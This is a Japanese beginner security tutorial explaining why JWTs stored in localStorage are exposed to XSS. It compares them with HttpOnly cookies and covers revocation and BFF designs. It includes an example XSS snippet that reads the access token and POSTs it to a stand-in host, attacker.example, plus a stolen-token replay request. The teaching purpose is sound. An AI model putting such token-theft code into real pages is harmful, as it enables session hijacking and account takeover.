JWT を localStorage に置くなと言われる理由

初級 | 11分 で読める | 2026.06.14

公式ドキュメント

結論

「JWT を localStorage に置くな」と言われる理由は、localStorage が JavaScript から読める保存場所だからです。

JWT が Bearer Token として使われている場合、盗んだ人がそのままAPIに送れます。

Authorization: Bearer stolen_jwt

つまり、盗まれたJWTは「本人としてAPIを使うための入館証」になってしまいます。

localStorage に保存する典型例

SPAでよくある実装は次のようなものです。

// ログイン成功後
localStorage.setItem("access_token", data.access_token);

// API呼び出し時
const token = localStorage.getItem("access_token");

await fetch("https://api.example.com/me", {
  headers: {
    Authorization: `Bearer ${token}`,
  },
});

これは分かりやすく、実装も簡単です。しかし、トークンをJavaScriptから読める場所に保存しています。

XSS が起きるとどうなるか

XSSとは、攻撃者のJavaScriptが本来のサイト上で実行されてしまう脆弱性です。

もしXSSが起きると、攻撃者のコードも localStorage.getItem() を実行できます。

const token = localStorage.getItem("access_token");

fetch("https://attacker.example/steal", {
  method: "POST",
  body: token,
});

盗まれたトークンは、攻撃者の環境からAPIへ送れます。

GET /api/me HTTP/1.1
Host: api.example.com
Authorization: Bearer stolen_token

APIサーバは、トークンが正しく有効期限内であれば、攻撃者のリクエストを本人のものとして扱ってしまいます。

注意: JWT が危険なのではありません。ブラウザにある JavaScript から読める場所に、漏れたら終わりの Bearer Token を置くことが危険です。

HttpOnly Cookie にセッションIDを置いた場合、JavaScriptからCookieの値は読めません。

console.log(document.cookie);
// HttpOnly Cookie は表示されない

そのため、XSSがあってもCookieの値を外部へ送ることは難しくなります。

ただし、Cookieはブラウザが自動送信します。XSS中に次のような操作をされる可能性は残ります。

await fetch("/api/delete-account", {
  method: "POST",
});

つまり、HttpOnly Cookie は「XSSがあっても何もできない」ではありません。「トークンを外に持ち出されにくい」です。

被害範囲の違い

localStorage JWT と HttpOnly Cookie では、XSS後の被害範囲が違います。

観点localStorage JWTHttpOnly Cookie
トークンを読めるか読める読めない
外部送信できるかできるしにくい
攻撃者のサーバから再利用できるかしやすいしにくい
XSS中の操作されるされる可能性あり

重要なのは、長期被害です。JWTを盗まれると、攻撃者はユーザーのブラウザから離れてもトークンを使える可能性があります。

HttpOnly Cookie では、少なくともCookie値そのものを持ち出す経路が狭まります。

JWT の即時失効問題

JWT は署名付きトークンです。API側は署名と有効期限を見て検証できます。

これは便利ですが、発行済みJWTを即時に取り消すのが難しいという弱点があります。

たとえばユーザーがログアウトしても、盗まれたJWTがまだ有効期限内なら、APIで受け付けられる可能性があります。

これを防ぐには、ブラックリストやトークンバージョンなど、サーバ側の状態管理が必要になります。

JWT検証
-> 署名検証
-> 有効期限確認
-> ブラックリスト確認

ここまでやると、JWTの「ステートレスでよい」という利点は薄れます。

では JWT は使わない方がよいのか

そうではありません。

JWT は、サーバ間、BFFとAPI間、マイクロサービス間では便利です。問題は、ブラウザにJWTを直接持たせることです。

現代的な構成では、次のように役割を分けます。

境界認証方式
Browser ↔ BFFHttpOnly Cookie
BFF ↔ APIJWT / OAuth access token
Service ↔ ServiceJWT / mTLS

JWTを使う場所を、ブラウザからサーバ側へ移すわけです。

まとめ

「JWT を localStorage に置くな」の意味は、次のように整理できます。

  • localStorage は JavaScript から読める
  • XSSがあると攻撃者のJavaScriptにも読まれる
  • JWT が Bearer Token なら、盗んだ人がAPIで使える
  • JWTは有効期限内の即時失効が難しい
  • HttpOnly Cookie はトークン窃取を軽減できる
  • ただしHttpOnly CookieでもXSS対策は必要
  • 現代的にはJWTをBFFやサーバ側に閉じ込める

実践メモ: 初学者は「JWTは悪」ではなく「ブラウザに読める形で置くBearer Tokenが危険」と覚えてください。

参考リソース

  • 公式ドキュメント - JWT を localStorage に置くなと言われる理由 を確認するための一次情報

次に読む記事

← 一覧に戻る
PR
PR
PR
PR